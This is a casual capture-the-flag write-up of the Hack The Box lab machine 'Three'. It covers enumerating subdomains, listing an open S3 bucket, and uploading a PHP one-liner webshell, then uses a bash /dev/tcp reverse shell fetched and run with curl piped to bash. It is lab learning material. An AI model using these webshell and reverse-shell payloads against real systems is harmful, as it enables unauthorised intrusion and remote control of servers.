~*[ STARTING POINT TIER 1 ]*~

Machine

Three

Steps

Reconnaissance

The adversary is trying to gather information they can use to plan future operations. - Mitre ATT&CK

The first step I usually do when an IP address is involved is to open a browser and go to the address to see what I can find. In this challenge, the IP address goes to a website for a band and shows a domain name in the email address under the contact tab (mail@thetoppers.htb). Trying to navigate to the domain treats the url as a search term, which points to issues with resolving the domain name to the IP address.

In Linux the /etc/hosts file can resolve hostnames to IP addresses when there are issues with using a DNS server. This file works by adding a line with both the IP address and domain name of a site. To add the domain thetoppers.htb to the /etc/hosts file you can open the file in a text editor and manually add the line "<IP address> thetoppers.htb", or use a command like echo with either >> to append text into a file or tee with the -a option to append text to a file and print to stout. All commands need to be run with higher permissions using sudo to be able to edit and save the changes to /etc/hosts. This last bit turned out to be a little more challenging then just using >>, as adding sudo to echo does not also add it onto the redirected command and you will need to spawn a new shell with those permissions, followed by the wanted command. Probably better to just use tee, but here we are.

Using echo and tee

echo "<IP address> thetoppers.htb" | sudo tee -a /etc/hosts

Using echo and >>

sudo /bin/sh -c 'echo "<IP address> thetoppers.htb" >> /etc/hosts'

Once the line is added into the /etc/hosts file you should be able to access the page by going to thetoppers.htb. Yay.

[ Image from nmap.org images directory ]

Time to scannnn to discover more information on what we can look into and the next steps in finding and exploiting vulnerabilities. Nmap is a super useful tool that can be used to scan networks and figure out what hosts and ports/services are available. To perform a service and version detection scan with nmap you use the -sV option. This will output what ports are open* along with the services most likely to be running.

*By default nmap will only scan the most common 1000 ports for a protocol, if you want to scan outside of that you can specify ranges, specific ports, etc. using the -p option

Annnd more scans! The tool Gobuster can be used to search for subdomains - aka perform subdomain enumeration - on a website using a wordlist. To find a wordlist to use, the SecLists repo on github is a very convenient place to find tons of different lists that can be used in security assessments. For this challenge, the wordlist "subdomains-top1million-5000.txt" worked great.

Since the domain we're scanning is a virtual host, we need to use the vhost option to select virtual host brute forcing, along with -w (wordlist) and -u (url). One note from the official walkthrough, if your version of Gobuster is 3.2.0 or above you will need to add the --append-domain option to append the domain, in this case thetoppers.htb, onto the words in the list.

gobuster vhost -w /path/to/subdomains-top1million-5000.txt -u http://thetoppers.htb

Running the above Gobuster command comes up with two subdomains, s3.thetopper.htb and gc._msdcs.thetopper.htb.

To navigate to the subdomains we need to add them to the /etc/hosts file like we did with thetoppers.htb. Once added, going to the urls will show {"status": "running"} in the s3 subdomain and a bad request (indicated by the status 400 in the Gobuster output) for the gc.msdc subdomain. So! Should probably start with the one that says there's some service going on.

And now more research! What is an s3 subdomain? If you know a bit about AWS you're probably already familiar, S3 stands for 'Simple Storage Service' and is used - you guessed it - to store data. This data is stored as items called objects, in a container called a Bucket.

At this stage we can start to move forward and get ready to use some of what we've found.

Resource Development

The adversary is trying to establish resources they can use to support operations. - Mitre ATT&CK

A quick way to interact with AWS services is through the AWS Command Line Interface (AWS CLI), depending on your operating system the steps to install will vary. I'm using Linux so the installation can be completed using apt install awscli, to find how to install on your system you can go to the installation guide in the AWS documents.

When I've never used a command line tool before I like to start off by looking up little cheat sheets people have put together before going on to check out the different commands in the official documents and reference guides. I usually go this route because cheat sheets give me a good place to jump off from to learn more about useful commands and options. For this challenge, we need to figure out how to set up our AWS CLI installation.

Oof okay so like there's a lot of cheat sheets, but it's a little narrowed down and once you look at a few you can see the commands that keep showing up. Looking at this AWS S3 Cheat Sheet by Elle Krout, aws configure seems like a good bet to look into for setting up.

a l s o
sometimes it helps to just run the command and see what it does.

# aws configure
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]:
Default output format [None]:


Alright, it's asking for input. Looking at the AWS CLI Command Reference documentation for configure shows that the [None] we're seeing next to each field means the item has no value, so since there is nothing stored why don't we just hit enter for each and see how it goes.

Initial Access

The adversary is trying to get into your network. - Mitre ATT&CK

Okay! Whew, now that we have done most of the setup and have our tools ready we can start playing with the service we're trying to gain access to. The next challenge is listing the S3 buckets hosted by the server, as we saw in the cheat sheet we can do this by using the ls command on the domain.

# aws --endpoint=http://s3.thetoppers.htb s3 ls
Unable to locate credentials. You can configure credentials by running "aws configure".

=[

Well, that didn't work. Annd now back to resource development.

Resource Development

So, backing up a bit and revisiting the aws configure command, since we can see that there are no credentials configured, and running ls didn't work without credentials, let's try to add some.

# aws configure
AWS Access Key ID [None]: rar
AWS Secret Access Key [None]: rar
Default region name [None]: rar
Default output format [None]: rar


Bum bum bumm back on to initial access..

Initial Access

Lets try this again

# aws --endpoint=http://s3.thetoppers.htb s3 ls
2023-04-26 16:36:14 thetoppers.htb

Okay awesome, so this time we were able to interact with the service and list out the S3 bucket, thetoppers.htb

From there we can use ls to list objects under the specified bucket.

# aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2023-04-26 16:36:14 0 .htaccess
2023-04-26 16:36:15 11952 index.php

After listing objects in the S3 bucket you can see an index.php file, which suggests the website is using php. This can be confirmed using plugins like Wappanalizer, or just trying to upload a super basic php shell and seeing if it works.

Alright, let's find a super basic php shell. Looking up "super basic php shells" brought me to the related search "simple php shell one-liner", which actually brought up some great results. Notably the article "Deconstructing PHP 'One-liner' Webshells" by Tanzil Rehman that goes into detail on four simple PHP webshells.

After reading the article above, the PHP system <?php system($_GET["cmd"]); ?> and passthru <?php passthru($_GET["cmd"]); ?> webshells both seem like good options.

Since the system shell is outlined in the official walkthrough, let's try with passthru. To begin we need to add the PHP script to a file by.. Opening a text editor and adding it in or using the echo command as we've done when editing the /etc/hosts file.

echo '<?php passthru($_GET["cmd"]); ?>' > shell.php

After our shell is created, we can upload the file by using the aws cp command to copy from our system onto thetoppers.htb. The command is similar to ls, the main difference being adding the path to the file we want to copy.

# aws --endpoint="http://s3.thetoppers.htb" s3 cp /path/to/shell.php s3://thetoppers.htb
upload: ./shell.php to s3://thetoppers.htb/shell.php

Awesome, we can see in the response that our shell was uploaded to s3://thetoppers.htb/shell.php, we can confirm this by going to the url and trying to execute a command in the url path. Which leads us tooo..

Execution

The adversary is trying to run malicious code. - Mitre ATT&CK

To use our shell.php file we can chain commands onto the url path. To start off let's use ls to list the contents of the current directory. To do so we add a question mark followed by the wanted command.

Navigating to thetoppers.htb/shell.php?cmd=ls we can see that our commands are executing, and the results are being displayed on the page. Awesome! I need to figure out a word other than awesome! to show my excitement. Now we know the passthru shell works as well.

To look in the directory above the one we're currently in, we can use the ls command followed by ../ for directory traversal. Since we're doing this all in the url, we need to add a character that will act as a space, for example %20 or +.

thetoppers.htb/shell.php?cmd=ls+../

Annnd we see the flag is just one directory above us. From here we can use the cat command to output the contents of the file.

thetoppers.htb/shell.php?cmd=cat+../flag.txt

Woo. Okay, so we got the flag, but what if it wasn't just.. Right there. It might be helpful to use a reverse shell that makes it a bit easier to look around. We can do that by creating a new file to hold our reverse shell payload and setting up a listener on our system for it to connect back to.. and then like uploading the payload to where we're trying to get at.

Sounds super easy right? Because this is a "very easy" challenge. Sometimes it's like I know absolutely nothing about computers. But we are calm, collected, and can break this down into little tiny pieces to get through it one step at a time.

~* STEP 1 *~

To begin, let's put together - the payload - to do this we first need to find the IP address of the machine we're using, on linux it's with the ifconfig command. Or I guess now that's deprecated, and I'm officially old now, so ip addr. Windows is ipconfig. If you're having trouble identifying your IP address in the commands output and you're using a vpn try the ones that have "tun" in their name. Because we're tunneling. Like the adorable little star nosed mole rats we are. Semiaquatic. Thriving in the boundaries.

~* STEP 2 *~

Once you have your IP address it's time to find a reverse shell payload. If you don't have any on hand there are a ton of sites out there to help with this. The Reverse Shell Generator at https://www.revshells.com/ I've found is mentioned the most, and is pretty straightforward to use.

We are looking for a bash reverse shell, if you're going through the HTB walkthrough you'll find the bash script:

#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1

When looking at the bash -i scripts on revshells you'll find:

sh -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1

Oh. Okay. So, you might be wondering what these scripts are doing. Great question! Who knows, hopefully us at the end of this. Probably something with redirection because of the > character, as with this command you can add things into a file. For example, the command > someFile.txt will totally erase everything in the file as you are redirecting, nothing, into it just like command echo 'really cool words' > anotherFile.txt will replace everything in the file with our really cool words - similar to how we appended text using >> to the /etc/hosts file previously.

The little redirection pieces also remind me of using file descriptors to redirect stderr to /dev/null to get rid of all the errors that might output to stdout when running a command. Now that we've thought about it a little from what we know off hand, let's try and understand this script by doing my favorite thing ever and breaking it down into more manageable pieces.

Before we begin, quick background on file descriptors by Julia Evans (also uhm side note, her site and programming zines are absolutely amazing).

[ Image by Julia Evans ]

a n d  n o w  i t  i s  t i m e  w e  a r e  r e a d y

Alright getting into it,

#!/bin/bash
File header used in bash scripts that points to the location of the executable file for the system shell. In this case, bash.
More info: (#!/bin/bash) What exactly is this? By Sanjay Mishra

-i
Option to specify an interactive shell, meaning it will read commands from user input.
More info: Advanced Bash-Scripting Guide: Chapter 36.1 Interactive and non-interactive shells and scripts

>&
Annd here we go with the redirection and file descriptors.. With no file descriptors. When the number is left out, the direction of the redirection operator will show what it's referring to, using > for stdout and < for stdin. Looking at the bash manual, this will redirect the stdout (file descriptor 1) and stderr (file descriptor 2).
More info: Bash Manual 3.6 Redirections

/dev/tcp/<IP address>/1337
This bit has to do with creating a way for our systems to communicate aka a socket. A socket is made up of three parts: the protocol (tcp in our case), the local address (the IP address), and the port number (1337). This is where stdout and stderr will be redirected to.
More info: IBM Understanding sockets concepts

0>&1
This attaches file descriptor 0, stdin, to file descriptor 1, stdout. Because stdout is pointing to our socket, if I'm understanding correctly, which is a big if, now all file descriptors will be sent over the socket connection allowing both read and write.
More info: What does the 0>&1 shell redirection mean?

~* STEP 3 *~

Now that we have our payload, it's time to set up our system to listen for a connection on port 1337. We can do that by using another nmap tool called ncat with the command ncat -nvlp 1337.

-n Do not resolve hostnames via DNS
-v Set verbosity level
-l Bind and listen for incoming connections
-p Specify source port


~* STEP 4 *~

After setting up our listener, we need to have a way to send our shell.sh script to the target. One way to set this up is using python to start a web server on our own system to pass our script off from. As our terminal window is now listening for a connection with the ncat command, we need to open a new tab or window. Once opened, navigate to the directory where your bash.sh file is saved and start the web server on port 8000 with the command python3 -m http.server 8000, or choose a different port. Follow your heart.

-m search for and execute a module, in our case http.server

More info: Python documents command line and environment interface options and http servers

~* STEP 5 *~

Eeep, almost there. Now to send over our script using the first shell we uploaded using awscli by using the curl command to grab our shell.sh file from our newly created python web server and sending it through (aka piping) to execute with the bash command.

http://thetoppers.htb/shell.php?cmd=curl%20<YOUR_IP_ADDRESS>:8000/shell.sh|bash

Annnd, nothings happening.

So, when things aren't going as expected I usually do everything again, following the same steps to see if I get the same result. In this case, I did. With Hack the Box and other public CTF challenges my next step is looking up more walkthroughs, in doing that I found another great Starting Point Three Walkthrough Video by Technology Interpreters where they go over this part of the challenge super clearly. Though, I still didn't get any different results. After the basics it's on to searching for more specific things that might be going on with the operating system I'm running these tools on and known issues. If you have another OS to try, I would recommend that to see if the issue persists across systems.

~* STEP 6 *~

Spend an entire day trying to fix your VMs from freezing every time you try to open HTB on your beautifully ancient computer. Make the very smart decision to update VirtualBox and make things 1000% worse. Cry alone in your apartment listening to sad music. Feel broken like your virtual machines. Connection.

~* STEP 7 *~

Go to sleep. A very important step.

~* STEP 8 *~

Begin again, realize your firewall settings might be causing the issue. Turn the firewall off (very safe), and run everything again.

It works.

So, uhm like noted. Make sure to check firewall settings when dealing with connection issues.

Now we have a reverse shell <3 and our terminal, in the window with the listener, should look like www-data@three:/var/www/html$ and allow you to type commands directly in the window.

Awesome. Now it's easier to run commands, as we can enter them right in our reverse shell and find what we're looking for. Or find things we didn't know we were looking for but are super cool.

Alright well this is almost a novel so I think that's about it.

Tools Used

Nmap

Ncat

Gobuster

Awscli

Troubleshooting

/etc/hosts

Because domains "thetoppers.htb" and "s3.thetoppers.htb" have the same IP address, you might get an error/unexpected behavior if they are added to the "/etc/hosts" file on separate lines, as sometimes only the first entry will resolve. To avoid this both entries can go on the same line as shown below.

PHP Shell

Make sure you are going to the correct URL path to see the commands executed on the page. I had uploaded the php shell to thetoppers.htb using the command aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb but when trying to find it on the site I was going to http://s3.thetoppers.htb/shell.php and would only see a page with two curly brackets {}. Removing s3 from the url and going to http://thetoppers.htb/shell.php gets to where the shell was actually uploaded, and where you can see the output of commands like http://thetoppers.htb/shell.php?cmd=ls

Reverse Shell on Ancient Macbook Pro

My linux VM decided to have a moment during this challenge and I had to change back to just using my host computer which is an older macbook pro. Some issues I came across are outlined below.

1. Which IP address to use, I'm connecting to Hack the Box through openVPN. Because of this it's important to use the IP address for that connection. This can be found in the openVPN GUI under "Your Private IP (IPV4)" or using the command line to find your IP address as explained above, making sure to choose the correct address starting with "utun". If you're not sure just try em all.

2. When using Ncat on mac you need to install Nmap and use the full name in the command, not just nc. My command looked like ncat -nvlp 1337.

3. If you're not getting any connections in Ncat when you execute the curl command in the url, start by looking at your firewall settings. My firewall was blocking the connection and it took me uhm like a day and a half to have that fun realization.

Resources

Linux Handbook: What is the Purpose of /etc/hosts File in Linux
Nmap Service and Version Scan
Nmap Port Specification and Scan Order
Superuser.com: Adding a line into the hosts file, getting permission denied when using sudo
Towards AWS: AWS S3 Sub-Domain Take Over by Sagar